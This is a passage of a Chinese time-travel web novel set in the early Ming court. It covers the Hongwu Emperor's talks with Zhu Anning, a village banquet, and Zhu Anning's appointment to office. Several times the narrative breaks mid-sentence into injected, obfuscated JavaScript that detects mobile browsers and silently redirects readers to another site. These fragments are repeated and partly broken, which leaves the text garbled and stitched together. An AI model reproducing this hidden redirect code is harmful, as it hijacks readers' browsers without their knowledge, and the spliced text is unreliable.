这话有些突然,朱安宁是满脸不解。 不过不用伏在那流的不知道是麦至德的血还是姬友命屁股上的血上,他还是很开心的…… “夸咱的话就不用说啦,你夸得没人家好。咱问你……我洪武朝真的朝纲严明?”朱元璋街边大爷般,寻了个石头坐了下来。 他是真的有些迷茫了。 作为皇帝,他兢兢业业,就是想把这个大明打造得更好些。 结果近期,却频频出事。 让老朱这般的强人,都有了点心力交瘁的感觉。 而此时朱安宁这车轱辘似的马屁,却让朱元璋听得有那么点意思。 要是别的官员按这个夸法,老朱直接就当是对方嘲讽自己砍了。 但是现在可是朱安宁在说话。 他有些期待朱安宁能给出什么解释。 “刚才那一批官,犯了事,陛下您可没有姑息……布政使都抓了,这还不是朝纲严明?贪官在您这能有活路?要知道前朝可是光明正大的贪呐,从上至下,哪有人管过,对比前朝,您这绝对就是朝纲严明!” 朱安宁一边说,一边竖了个大拇指。 这夸法可比礼部尚书文绉绉的马屁有意思多了。 朱安宁竟是又笑了起来。 没错,他的大明,虽然还是有不怕死的蛀虫,虫豸,但是终归是要比那个地狱般的人吃人的大元,要好上无数倍! “好!那百姓安居乐业?这些年又是旱灾又是虫灾,又怎么说。”于是朱元璋微微颔首,也是接受了这个解释,继而继续问了下去。 “天灾来了,陛下您下令直接迁他们到未受灾的地方,就且看我永乐庄,村民尽数都是灾民,他们不是安居乐业么?您还下令让赵大人他们工部带工匠赶赴全国各地,兴修水利,力求未来能尽量减少天灾带来的影响,这不就是安居乐业的前提么?更重要的是,陛下现在已经有番薯有土豆了,这安居乐业,真的很难?”朱安宁咧嘴一笑,古代所谓的安居乐业,那是比小康水平要低得多的基本要求。基本就是温饱就行,那解决温饱,按现在的思路,朱安宁并不会觉得有什么大问题……需要的是时间而已。 在场的人……呃,除了昏死过去的那个。 都知道天灾是无法避免的,减少天灾带来的影响才是重点。 而朱安宁说的番薯和土豆,在场的更是明白人。 未来的大明,安居乐业好像真的不是什么特别难的事情。 “那威震四方呢?”朱元璋心情已经明显好转了很多。 他其实也是需要人安慰的。 只是身居高位……他很少有这个机会被安慰。 偶尔马皇后看出他状态不好,会安慰他。 但是妇人安慰的角度,通常都是帮他顺一顺情绪而已。 朱安宁今天这种朴实无华的夸夸战术,还真就是他老朱没遇见过的情况。 一般大臣拍马屁那就是突出一个花团锦簇。 但是朱安宁这边,那是突出一个接地气…… “北边不都打起来了么?陛下是觉得我们赢不了?”朱安宁也咧嘴笑了起来:“舆图,应该是很好用的,而且后续赵大人应该可以开始提供火器给前线了。” 两人一问,一答。 朱棣和朱标是相对习惯的。 赵集却是止不住在那冒冷汗。 他就算是再不会做官,也是知道面对皇帝要毕恭毕敬。 怎么这朱安宁说起话来这么莽啊…… 是他比自己多几条命? 只是看着洪武帝,心情又好像是真的好了不少的样子。 也是让赵集越来越佩服朱安宁。 “感情全是咱做了一半的事情,你都能拿出来夸啊。”朱元璋终于是哈哈大笑了起来,他这笑声一下就扫清了多日的愤懑情绪。 一下子心情是舒畅了许多。 “您做了,我就觉得值得夸。” “好,那这少詹事你是没意见了么?” “有意见能换一个么?您给我个千户让我去屯田算了吧……种田我擅长……”朱安宁摸了摸下巴,突然提了个非常有建设性的意见。 其实他到现在都还没搞清楚这所谓的少詹事是干嘛的。 只知道好像是东宫的大官,大致上是教太子的人? 但是这朱标太子都监国了啊,教什么?教他打游戏? 朱安宁这话刚落下。 朱标也是笑着接了话。 “千户已经有李景隆他们当了,屯田的事,他们能完成。” 少詹事可是他朱标设计好的一步棋,他才不会放朱安宁跑掉,所以才连忙开的口。 而朱元璋也是给了自己好大儿一个赞许的表情。 詹事府,或者说东宫,现在急需朱安宁这样的没有派系的人去治一治。 而朱安宁听到朱标这么说,也是只能叹气死心。 皇帝副皇帝,都不给自己继续耕田的机会,想必是这少詹事,是有什么特殊情况要自己去趟雷吧。 具有相当职场经验的朱安宁还是能猜出来的。 自己这不就是空降领导么…… 突然空降下去的领导,要么就是去摘桃子混履历的,要么就是去拆炸弹的。 怎么看也不像是前者吧…… 于是他只能再叹了一口气,开始问其他人的情况。 “所以说三江……其实就是九江吧……” “嗯?你还知道九江儿啊。”朱元璋也开启了闲聊模式,心情好上不少的他,慢悠悠地回答了朱安宁的问题。 “陛下,臣是住在应天府外,但是不代表我不进城……” “嗯,三江,其实就是九江,怎么,我家老五你都能教,这曹国公的儿子你觉得不行?” “这倒不是……三江……呃,九江……他耕田现在也是一把好手了,这千户,当得起……敢问陛下,周王现在如何?” “他?你两不是联合着暗搓搓说咱不给他机会么,这次我给了他个机会,统管这新粮一事,土豆番薯的事,就全权交予他了。” “周王一定不会让陛下失望的!” 朱安宁不是精通历史的人。 但是他大概也是知道差不多是时候,这朱橚是要去就藩的了。 作为藩王的朱橚,那是一塌糊涂…… 如果朱橚真的就是这么就藩了,他只会觉得可惜…… 但是现在来看,朱元璋真的更改了对朱橚的安排。 朱安宁是由衷地为朱橚感到高兴。 搞科研搞实践,才最能让朱橚发光发热。 “刘廌刘畾也安排做了副千户,你教出来的人,咱全安排去种田了。” “他们定不会让陛下失望的。” “失不失望,到时你自己看就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378792|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。”朱元璋拍了拍身子,站了起来,说出了让朱安宁一阵意外的话语,只是还未等朱安宁追问下去,老朱低头看向了那姬友命:“方才咱是看那几个贪官污吏恼火得紧,这贼人都忘记让拖下去了……罢了罢了,他也算是帮老四挨了一枪,咱现在心情好,放他一马,赵集!” “在!” “你来扛他下去吧,醒了审一下,让他把知道的都说出来就行。” “是!” 赵集赶紧领命,也是多少有些无奈,怎么脏活累活最后到了自己头上啊…… 他扫了一眼在场的人,最后也只能接受现实……怎么看,都是轮不到朱安宁去扛的…… 朱元璋说完话,那是径直就开始往山下走。 “朱安宁!” “在!” “跟上!咱们吃你的席去!” 朱元璋朗声一笑。 说出的话,确实让朱安宁一阵膈应。 什么叫吃我的席! 不过他也只能捏着鼻子告诉自己,现代烂 梗而已……没事没事…… 而且,他还有更重要的事情要追问,只是朱元璋走得有点快,他一时没有跟上,朱棣在扛枪,赵集在哼哧哼哧地扛人。 能问的就剩下朱标。 他便扯了下朱标,开口问道。 “大哥,这失望不失望,我自己看是什么意思。” “字面意思,过些日子,人挑好了,江宁军屯千户所,应该就会过来你这边落地了。” “什么意思!?” 朱安宁心里一惊。 千户所在自己这里? 这好家伙,什么情况。 朱标却也没有马上解释,而是拉住朱安宁走到了小道边上能眺望远方的石头上。 “这里,你的永乐庄过去点,到那片山脚下,中间这万亩荒地,全都是未来江宁屯田千户所的地。” 朱标大手一抹,那是抹出了一大片荒地,朱安宁远眺着,只觉得震撼。 万亩这个概念,听着就是个数字而已。 但是只有站在高处,放眼望去,才知道这万亩有多广袤。 “全种番薯土豆?”朱安宁突然兴奋了起来。 好家伙,这屯田是在自己家门口屯是吧! 而且还是自己教出来的人当大哥! 怪不得朱元璋会说,失望不失望自己看,原来是这个意思。 “全种番薯和土豆,屯田的人都是挑选过的,待到种成这一批,未来直接分到各地军屯去进一步推广,这番薯和土豆就能马上全国大范围种起来了。” 朱标和朱安宁身后突然传来了朱元璋的声音。 他是看着自己好大儿和朱安宁突然停了下来,在那嘀嘀咕咕,便也凑了过来。 他无缝连接上了两人的话题,继而继续感叹了一句:“希望来年,真的能靠这番薯和土豆,让大伙,安居乐业。” 这声感叹发自肺腑。 朱安宁却突然想起了某件重要的事情。 “哎呀,有这么多地,玉米也种进去!这东西好养活!番薯南方好种,土豆北方适宜,只有玉米,那是哪都能种!!!” 他兴奋地大喊了起来。 之前因为地的问题,他是想最后再推广这玉米。 而现在,万亩,那还犹豫个屁! 直接开种! “这玉米产量不是不如番薯土豆么?”朱标有些不解,朱安宁为何这么兴奋。 “大哥,好种啊,种下去你都不用怎么打理,虽然生长周期长,而且亩产略低,但是就是好养活!” 朱安宁给出了很官方的解释。 他没有给出来的后续解释是。 玉米是没办法自留种的。 玉米作为杂交品种,一代种子种植以后,进行异花授粉,父本和母本所携带的基因,会随机组合,这样做的后果,第一年种植出来的玉米,有些种子会继承父本和母本的优良基因。但是,也有一种种子,会继承父本和母本之间不优良的基因。 结果导致第二年、第三年种植以后,抗病性、抗虫性、抗旱性等都会减弱,留种时间越久,不良基因组合的种子就会越多,产量也就越低。第一年亩产能达到1500斤,自留种第二年种植,亩产可能还不到一半。因此,玉米不能自留种种植。 所以,玉米种子,也是一门生意。 一门目前,可能只有他朱安宁能做的生意! 这才是他没有马上推广玉米的原因。 他也需要时间去实验。 那现在万亩地啊! 还有朱橚在,有他帮忙,这玉米育种工作,难度肯定会低上很多! 第一百八十九章 突然来了好些人 “之前确实听你讲过几次,但是和番薯土豆产量比起来,这玉米会不会……”朱标缓声回道。 走在前面的朱元璋也听到了两人好像在聊粮食的问题,是直接就停了停,等两人追上他。 “你们是在说那玉米?” 朱元璋也加入了讨论之中。 “和番薯土豆比,差太远了。” 朱标和朱元璋两父子都在那里摇头晃脑的,是把朱安宁晃得有点想吐血。 妈的这两父子,之前还在忧心水稻小麦亩产200多300斤。 现在有了亩产几千的番薯土豆,竟然开始嫌弃自己的玉米……真是岂有此理。 其实玉米也是相当优秀的主粮,最重要的是,玉米杆棒子之类可以加工成其他东西卖啊! 这两父子懂不懂嘛! 玉米超好吃的! “陛下,太子爷,番薯和土豆虽然产量高,但是人长期只吃一种作物,荣养会失衡的啊。” “饿都要饿死了,还管那么多!”老朱瞥了他一眼,那是相当固执己见。 得……有点谈不拢的感觉。 朱安宁咬了咬牙,不是很愿意放弃。 但是他也知道,现在一时半会是没办法说服朱元璋和朱标的了。 “话虽如此,未来江宁军屯,能否出千亩,试种一下玉米。” “千亩?”朱元璋也看出了朱安宁好像有点想法的样子。 只是这小子好像学精了,知道自己和标儿的身份后,那是有了点藏着掖着的感觉。 “行吧,千亩而已,你自己和老五商量就行。” “谢过陛下!” 朱安宁心中大喜。 这玉米,其实是现代工业里相当重要的原材料之一。 当然了,在古代的他是没有可能进行精加工的。 但是,人总是要有梦想的不是么。 反正,老朱答应了就行。 三人加扛着姬友命的赵集,走了没多久就下到了山下。 由于毛骧带着亲卫们押人的路线是乡间小道,朱安宁院外的众人那是完全没有受到任何影响。 除了方孝孺。 一直在当保姆带着那群毛孩子的他,是一大早就被朱安宁赶出去的了。 所以他知道有贼,但是并不知道这贼究竟是什么情况。 方才朱元璋等人出院子上山的时候,他也看到了朱元璋朱标等人,那是一阵震撼。 他只能想到。 皇帝和太子都亲自过来祝贺? 这朱安宁究竟是何等身份。 至于当时跟在朱元璋身后的那一众官员和毛骧等亲卫,他是因为视角问题,一个都没看到。 现在他被熊孩子们吵得头疼欲裂,却又无可奈何。 他对很多人脾气并不是太好,但是难得地,他对着孩童们,却出奇地有耐心。 在方孝孺焦头烂额的时候。 朱元璋朱安宁等人是顺利回到了院外。 戚祥是马上迎了上去。 方才他已经在官道上遇见了毛骧,那是了解到了事情的原委。 那是震撼不已。 原来今天,这群官员来这永乐庄是受审的? 看那马车上裹着的东西留下的血迹,经验老道的戚祥甚至猜出来了,死了人…… 谁不在就是谁死了…… 简单推断一二,这麦至德已经死了的情况,便也是被他知晓。 戚祥了然于心,然后什么都没问。 甚至拦住了自己下属想和自己同僚攀谈两句的心思…… 这事有点大大…… 他看了眼有些得意的毛骧。直接就是抱拳放他过去。 然后连忙是交代了自己下属两句。 继而回到了这院外等待皇帝等人归来。 “恭迎老爷,少爷。” 人多,戚祥又不傻,他对着朱元璋和朱标朱棣行了个礼,嘴上说的却是老爷少爷。 “行了,人多,就这样。” “戚叔,这里有人受了外伤,你看看有没办法给他止止血,行伍多年你们应该有经验……”朱安宁转头看了眼已经流血流到头晕眼花的姬友命,只觉得这家伙又可怜又好笑,又幸运。 既然朱元璋已经赦免了他,他勉强也是用他的勾子救了自己和朱棣,还是救一下他为妙…… “外伤?”戚祥先是心里一惊,然后看到是一个被捆着的陌生人后……那心又定了下来…… 只要不是朱元璋朱标朱棣出事就行。 “什么外伤。”他长舒一口气。 “弹丸贯穿了……嗯……他的臀……”朱安宁说得尽量文雅。 旁边的朱棣还是忍不住笑了起来。 戚祥则是一阵愕然。 “戚哥戚哥,赶紧过来搭把手……”最后还是已经累到不行的赵集开腔,才让戚祥回过了神来。 他连忙过去帮赵集扛起了姬友命。 然后看了一眼姬友命受伤的位置。 那是直接无语了起来。 弹丸和臀部…… 这不搭啊! 不过这痕迹看起来就是穿了肉而已,疼是不可避免的,但是只要不是五脏六腑或者伤筋动骨 ,这种纯肉的伤害,反而是最好处理的。 “那诸位,我带他进院子里处理下?我恰好随身带了药。” “去吧去吧。”朱元璋颔首,算是同意了。 而后,朱元璋扫了两眼,很快就确定了这头席的主位,也没有客气,直接就坐了下去。 是让那边还在收拾的农妇们一愣。 几个甚至皱起了眉头,开口就想来点污言秽语去问候一下这个没有礼貌的人,这明明是朱爷的位置! 朱安宁见状,那是连忙冲了过去。 妈呀,别惹出什么大乱子来才好。 “柳婶柳婶,这是城里的大人,我的贵客,你去那边忙那边忙!” 这句解释是相当有意义的。 因为那群农妇很快就从巴不得马上掐死朱元璋,变成了岁月静好的表情。 “啊?贵客啊。哎呀早说嘛,这位爷一会吃好喝好呀,嘻嘻。” 朱元璋自也不会和这些农妇一般见识。 他是饶有兴致地看了眼朱安宁,然后笑道:“一些所谓的父母官,恐怕都没有你在他们心中有威望。” “哎伍爷说笑了……”这里人多,朱安宁马上又换回了原来称呼。 朱元璋却也是习惯,点了点头,没有继续说话。 看着朱元璋和朱安宁都坐下,朱标和朱棣也是坐到了同一张桌子上。 一边的赵集累的够呛,自然也不会说还继续站着,他也是坐了下来。 他们真的就是开始等待吃席。 让朱安宁是一阵哭笑不得。 神经病啊,皇族啊你们是,就蹲这里蹭自己的饭? 完了还屁贺礼都没带过来。 还有王法嘛,还有法律么。 临时搭建的厨房,已经有了阵阵香气,那是煮制菜肴的味道。 “嗯?哪来的厨子。” “同福楼的,我家管事请的。” “管事?就是之前那个蓝梁,他已经恢复本性了叫成梁,其实铁矿石那事,是他告诉我的……而后才有了我和赵大人的将计就计。” “所以你是早就知道这贪墨一事了?” “算是知道,但是那时的我也没什么办法。” “是没什么办法还是不敢有办法……” “我就是一小小芝麻官,哪有什么办法。”朱安宁也是说得直接。 明初几大案之所以能够这样反复拍成电视剧。 就是因为暗流涌动啊,风云诡谲啊! 自己一个外来的愣头青,自保才是最好的做法。 “那你现在不是芝麻官了,是不是得给咱发光发热一下了呢?”朱元璋也没有恼,都相处那么多次了,他居然慢慢开始习惯朱安宁的说话方式。 “我……”这话是激得朱安宁一阵语塞加后怕。 给你老朱打工,还真是恐怖啊! 恰是此时,院内传来了一阵痛苦的哀嚎。 啊!!!! 虽然叫声直冲云霄,但是奈何院外热闹非凡,也就是靠着院门的朱安宁这张桌子听到了而已。 不必说,那是姬友命的叫声。 “别叫了,咱这药可灵了,就是有点疼!” “啊!!!!” “还叫……” “啊~~~” 众人只听到那叫声越来越微弱。 最后是直接消失。 朱棣那又是忍不住笑了出来,免不了吃了自己大哥一记白眼。 而忙活了半天的成梁,也是刚好到了这院门口附近。 抬头看见的便是一串熟人。 吓得他连忙过来行礼。 朱安宁却也是马上按住了他,然后开口道。 “成梁,赶紧安排大家落座吧,这桌原本是要坐铁冶那些主事的对吧,你安排一下到其他桌去,这里坐我们几个就行了。” “啊?” “别啊了,整快点,让大家早点吃上饭。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽说已经早就知道了这伍洪就是朱元璋,但是首次以臣子的身份面对他,就卷入了这大案中。 这哪能顶得住啊! 而且自己好像还扮演而来什么不得了的角色。 这真是日了狗了。 本想当个明朝边缘人。 结果却开局其实就创进了这大明的中心圈子里,自己还毫不自知,真是太傻比了。 他摇了摇头,在座位下面摸索了一阵,掏出了一瓶宝贵的茅台。 接着犹豫了片刻,又是一瓶。 他拎着两瓶就下了车。 请皇帝喝酒,在抠抠搜搜,也太难看了吧。 给他两瓶,让他喝个饱! 今天看朱元璋处理这批贪官,他也算是感觉到了明初时洪武的不易。 世人皆说他刚愎自用,残暴。 但是这又何尝不是被逼出来的呢。 世家还未消亡,权贵当道,贪官横行。 若是朱元璋是个弱帝王,他早就被吞得渣滓都不剩了。 所以他只能强,更强!才能压得住这些虫豸。 山上看他抽那郭桓的样子,还是让朱安宁很爽的。 拎着酒的他,却也没马上出去,而是走到了那姬友命身边。 抬脚就是踢了下他屁股附近。 “行了别装死了!” “哎呦唉哟!” “你叫姬友命对吧……诶你有没个哥哥弟弟叫姬无命啊?” 刚才确实是在装死的姬友命还想再嚎两句博取同情,却也是没想到会等来朱安宁这无厘头的发问,那是不由得啊了出声。 “哦……没有啊……呃……你刚才应该都是装晕的,你听得到我们说话吧。”朱安宁顿了顿:“行行行,你继续装,听我说完就行,外面呢,就是皇帝,他已经赦免你了,你不用跑了,这次算是你救了我和四皇子一命,我就让你在这养好伤再说。” 朱安宁也没管对方是不是真的在听。 虽然很累,但是心情还算不错的朱安宁,拎着酒,就往门外走去。 而后。 他看见的是。 李三江,不对,应该是李九江的父亲……还有那季爷,韩爷,宋濂? 怎么突然来了那么多人! 第一百九十章 虎贲卫指挥佥事 这个阵仗可不小。 朱安宁也是心里一惊。 他原本摆这个升官宴就是顺便的而已,他的本意是刚好让老乡们吃点好的,顺便宣布他的职业学院计划……他也很想进步啊! 结果一件又一件事情打断了他…… 他拎着两瓶茅台,看着这一群人,是不知道该摆什么表情好。 “该怎么叫就怎么叫,怎么,不认识他们啦?”朱元璋毫不见外地,抢过了朱安宁手中的酒,那是乐呵呵地笑了起来。 “李叔……季伯,韩伯,宋先生……嗯?这两位是……”朱安宁看着两个陌生人,是有些意外。 “叫我一声徐伯就行。” “那你叫我汤伯吧。” 那两人看着还算和气。 但是不知怎么地,总有一种随时能暴起杀人的那种煞气在身的感觉。 朱安宁看着直接坐在朱元璋身旁的徐伯……汤伯…… 再怎么傻,也能猜到这两人的身份。 想必就是徐达和汤和了! 这两位可太能打了。 老朱能夺天下,他们可是居功至伟啊! 他长吸一口气,眼睛瞪得老大,对这里两人连连行礼。 “怎么?知道是谁了?”朱元璋还在那调笑。 朱安宁起身,苦笑。 “伍爷,咱也不是傻子啊……这两位,不是如雷贯耳嘛。” “哦,认他们是说个字就认出来了,认咱是都半年了,才知道是吧。” 朱元璋像个小老头似地在那bb个不停,语气中多少有点埋怨。 一副朱安宁没眼力见的样子…… 朱安宁是也无法让他住嘴的了,相当难受。 “这……伍爷,这不是您没有架子,能和我们普通老百姓打成一片么……” 于是朱安宁也只能开始扯犊子。 幸好李文忠等几人,是刚好把贺礼递上来。 算是变相拯救了朱安宁。 早就候在一边的成梁,那是眼疾手快地,想过去帮朱安宁接了下来。 “安宁小弟,不,现在应该要叫朱大人了,哈哈。” 李文忠和朱安宁最为熟稔,他笑着把实际上非常昂贵,但是包装得却非常普通的贺礼给到了成梁手中。 “李叔,客气了。” 一看李文忠都送上去了,其他人也是陆陆续续地开始送贺礼。 把赵集给看得眼珠子都要瞪出来了。 这一堆,不是国公,就是重量级老臣…… 居然赶来这里吃朱安宁的升官宴…… 让赵集是相当意外…… 好像这朱安宁的交游圈……很是厉害啊。 他一边咋舌,一边想着自己怕不是认识了个不得了的人! 这一众人的贺礼,很快就被成梁收下,然后搬回了院子里。 对于躺在院子里那个人,他已经听戚祥说了个大概,便也没有过多理会。 而是把贺礼就这么随便放到了院中。 随着众人陆续落座。 这围桌子突然安静了下来。 不必说,大家都在等朱元璋发话。 虽然实际上升官宴的主角是朱安宁,但是真正能坐主位的,只有朱元璋…… “又不是在城里,放开些,今天就好好吃顿饭。”老朱把酒拎到桌子上,那是笑意盈盈:“这可是好东西,安宁小弟好不容易弄来的酒,一会就给大家尝尝吧。” 朱元璋也没问题众人为什么会这么凑巧,一起过了来。 实际上,老朱只通过亲卫叫了花了好些时日才从外地赶回来的徐达和汤和赶紧过来,他本意是想快些让这两人看看铁冶和火绳枪的。 而其他人,他是没有叫的。 换言之,李文忠也好,李善长、刘伯温、宋濂这几人也好,都是不知道从哪里听到消息说永乐庄要办升官宴,自己过来的。 几人家中的孩子,或者是弟子,都是受过朱安宁恩惠,或者直接就是还在永乐庄,他们作为长辈,他们当然有充足的理由过来。 他们哪里知道,会直接遇上朱元璋。 毕竟这几人都觉得,宫里大概就是托人送点东西过来,亲临的话,多少有点夸张。 结果……出乎他们意料的是,朱元璋亲临了,朱标也亲临了。 因为毛骧他们是走小路的缘故。 一众官员下狱的消息还未传开来。 更不必说布政使被抓的事情,这才是更爆炸性的。 古代消息传播的速度,是远不及现代的。 毕竟通讯手段,仅能靠人力。 即便是信件,也是人送的。 朱元璋猜一下便知道这几人的心思,不就是想要亲近一下朱安宁么。 这实际上是好事。 朱安宁并没有什么大的权柄。 他如果接下来想要在詹事府做点事情的话,是必须要借势的。 自己和大儿给他的势,是其中一种。 而现在,这群老家伙给到的势,又是另外一种。 朱元璋隐隐有些期待,正式步入官场的朱安宁,能不能给这才开朝,就不免染上了官僚陈腐气息的大明,带来点不一样的感觉。 恰是此时。 有几个下人模样的小厮,有些慌张地跑了进来。 这群国公老爷们,来这永乐庄自然是不可能孤身一人的,多少都带了几个下人。 于是,这几个下人,各自找到了自己的主子,开始耳语起来。 李善长,是面色变得最快的。 而要说差点跳起来的,则是李文忠。 他们都不约而同地,面色古怪地,屏退了下人,然后久久没有言语。 朱安宁一看,便也是醒目地拉住了刚爬出来的成梁。 “阿梁,你把我们这附近的地方空出来,大人们可能要聊些事情,别让人靠这桌太近。” “好嘞。” 成梁直接点了点头。 朱安宁也是终于感受到了家里有个管事有多爽。 不同于李景隆朱棣那几个米虫,成梁真是办事爽利。 他只用了非常短的时间,便用酒坛空椅子等家伙,巧妙地把这主桌和其他桌子之间,隔开了点距离。 而后他还吩咐了几个年轻点的农夫,到了这附近,看着,省得让闲杂人等靠过去。 看到四周终于没了闲人。 李善长也是终于忍不住,开口说道。 “上位!城里……城里都在传,说……说六部有好多侍郎郎中……都被……” 他说得有些卡顿。 因为他拿捏不准朱元璋的态度,甚至于,他还没搞清楚,这究竟是怎么一回事。 难道是胡惟庸案又牵连出了什么? 这件事情不是翻篇了么…… 这个陪伴了朱元璋许多年的老谋臣,此刻多少有些慌张。 要知道,他和胡惟庸关系可不一般,如果朱元璋又要揪着胡惟庸的事情不放,那自己会不会有一天也要人头落地…… 一念至此,他竟是有些颤抖…… 其实不止是他,李文忠宋濂等人都有些紧张。 至于刚回到京中的徐达和汤和两人,则有些面面相觑。 这啥情况嘛…… 一众人的目光,都聚焦到了朱元璋的身上。 可偏偏他又是很舒服似地在那喝着茶。 就不免让人有一种错位的感觉。 “怎么?你们急什么?又不是你们犯了事。” 朱元璋放下杯子,朱标是笑着又帮他添满。 “是是……但是大哥,究竟怎么了,那些人可不是什么……”徐达想说小虾米,但是还未说完,便被朱元璋制止。 “郭桓等人,纠结地方,大肆贪污官粮,甚至说还把注意打到了制作兵器用的矿石上,咱不过是知道了这件事情,想把他们全杀了而已。” 朱元璋双手在宽大的桌面上撑开,晃了晃肩膀,说得很是轻松的样子。 声音不大,声调也不高,那是完全看不出他的喜怒。 “对了,还有些漏网之鱼,明早抓了就是了。” “伍爷,你不怕他们跑?”朱安宁轻声问了句。 “跑?跑了的九族,没跑的死他一个,咱很仁慈的,哈哈。” 朱元璋大笑了起来。 他看了眼朱安宁,很是满意他提出的做法。 贪官都该死,家人也可以尽数发配,但是最重要的一条便是,三族不得再为官! 还是那句话,杀人只是手段,朱元璋的目的只是让他们不敢在贪。 朱元璋是真心觉得朱安宁的做法是可以一试的。 其他人则多少觉得有点古怪。 即是古怪朱元璋怎会没有大发雷霆,也是古怪朱元璋怎么会说出杀一人这种仁慈的话语…… 贪粮! 可不是什么小事。 古代重农抑商真是因为农乃国本! 有人敢在这些事情上动手脚,那便是伤国本的事情! 老朱居然不杀他个全家? 一众人都觉得自己老板是不是今天脑子出了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“宋先生不必紧张,罪大恶极之人,才会受此责罚!” 朱元璋说得斩钉截铁,自然也是告知了宋濂,这事没得商量。 当然了,朱元璋说的所谓罪大恶极之人,才会受此责罚……什么人才是罪大恶极嘛,还不是他老朱说了算…… 宋濂也是嘴巴张到一半,看了眼朱元璋,然后无话可说。 “咱大明,才多久,少杀些人,才是吾之所愿啊!”朱元璋是哈哈一笑。 让朱安宁是一阵白眼。 牛魔的前段时间杀胡惟庸和胡惟庸同党的时候…… 街口大妈可没少描绘什么血流成河,人间惨剧之类的画面。 怎么突然你老朱就敢说少杀些人,才是吾之所愿啊……这样的话嘛。 朱安宁这副做派,自然也是被朱元璋看见。 老朱便顿了顿,突然当着一众人的面,指向了他。 “对了,这想法,正是咱们少詹事提出来的,咱认为很好,非常好,当赏!” 朱元璋话音刚落。 一群人都是面色复杂地看向了一脸黑相的朱安宁…… 都是人精,哪能听不出来。 这是祸水东引啊! 这一把不得把天下读书人给得罪个光啊! 可恶的朱八八!!! 朱安宁牙都快要咬碎。 却也只能挤出点笑容,回应看向他的一众人。 “朱安宁!” “在……” “即时起,兼虎贲卫指挥佥事,掌亲军!” 朱元璋说得很慢。 毕竟他是希望所有人都能听清。 不止是朱安宁,而是所有人。 而后,如他所想般。 众人由面色古怪,变成了震惊。 少詹事算是个小文官首。 但是,指挥佥事可是正儿八经的武官!!! 这赏赐听着就像是乱命般,让众人是一阵惊骇……除了朱安宁,他哪知道哪个官是做什么的,他又不是历史博士! “戚祥!你本就是虎贲卫指挥佥事,迁你所掌虎贲卫百户所,更换驻地为永乐庄!你与朱安宁二人,共掌两总旗!” “是!” 第一百九十一章 快些把朱元璋吊路灯 虎贲卫朱安宁知道,不就是明初那十卫还是十二卫之一么?说白了就是禁军嘛。 所以他又给自己挂了个官职??? NND的怎么尽让干活!不提工资。 朱元璋这种鸡掰老板放到和谐社会里不得吊到路灯上啊。 朱安宁坐在那里,良久,才挤出“谢陛下……”这几个字。 朱元璋大概也是猜出了朱安宁在不满些什么。 不就是没有提田啊地啊俸禄什么之类的么,这朱安宁明明有一大堆赚钱的法子,却不去做。 而每每自己赏赐不够好,他却又老是锱铢必较…… 感觉,多少是有点大病,的样子。 也正是这样子,让老朱很是喜欢他。 他很贪,也不贪。 去哪找这样的好员工! 从院子里出来还候在一边的戚祥,听完朱元璋的调令后,那是相当意外,却也是只能先领命再说。 “是!” 百户所更换驻地到这种鸟不拉屎的地方…… 只能说是守卫某些人了吧。 往明面说可以说是守卫朱棣,毕竟他是四皇子。 但是换个方向说,是不是也可以认为是守护朱安宁呢? 像戚祥这么想的人可不少……出动禁军去守卫一个臣子……这事非常值得深究。 徐达和汤和对视了一眼。 脑子里不禁开始拼命回想…… 自己大哥二十多年前,是不是遇见过什么女子……这朱安宁……嘶…… 两人同时深吸了一口气。 朱安宁是知道这个旨意一定是有猫腻的。 但是不太清楚明朝官制的他,只能是想到有猫腻……仅此而已。 朱元璋满意地看了看四周的反应。 又喝下了朱标递过来的茶,朱标此时也是微不可查地点了点头。 两父子的思路那是相当一致。 朱安宁,就是那个能够改变这朝堂风气的搅局者! 没有比他更合适的人啦! 所以他需要有权力! 统治者给他的权力,还有,能让他足以自保的权力! 那就是即将调任过来的百户所! 这支由戚祥统率的军队,可不是什么草包东西。 两总旗的士兵,都是征战过沙场的,至少也是剿过匪的人。 朱安宁这个指挥佥事,明眼人都知道,就是挂名而已。 有权,但是不用工作太多,他也不懂啊…… “标儿,詹事府可以安排朱安宁开始当值了!少詹事而已,朝是不用上的,但是活总得开始干了吧!” 老朱一吹胡子,抢过了朱棣刚想下手的零嘴,丢到了嘴巴里。 “啊?”朱安宁这样是真的有点慌了。 几个意思呢。 少詹事自己只知道是个四品官。 听着是教导太子的…… 但是实话实说,除了现代科技,大部分这明代的东西,只有朱标教他的份,哪有他多嘴的余地。 所以自己这少詹事去当值,当个什么值! 空降领导也得给个ppt,告诉自己怎么给下属画饼吧。 朱安宁是懵得很彻底。 主要是他已经接任这个少詹事好几天了,也没人告诉他要干嘛,甚至没人告诉他要开工…… 他就权当是上头给他挂了个闲职就算了。 关系户嘛,体谅体谅我朱老爷什么都不会,混吃等死第一名。 结果今天老朱告诉他要干活啦,他怎能不慌。 几个国公大臣,看着朱安宁一脸慌乱的样子,那是相当错愕。 感情这家伙一天值都还没当过?! 当官当成这样的,还真少见…… 只有戚祥还有赵集……习以为常。 朱安宁……是这样的,他只需要每天说几句,给点指导意见,具体实施的大家,要做的事情可就要多很多了…… 最后还是刘伯温看不下去。 他轻声对朱安宁说道。 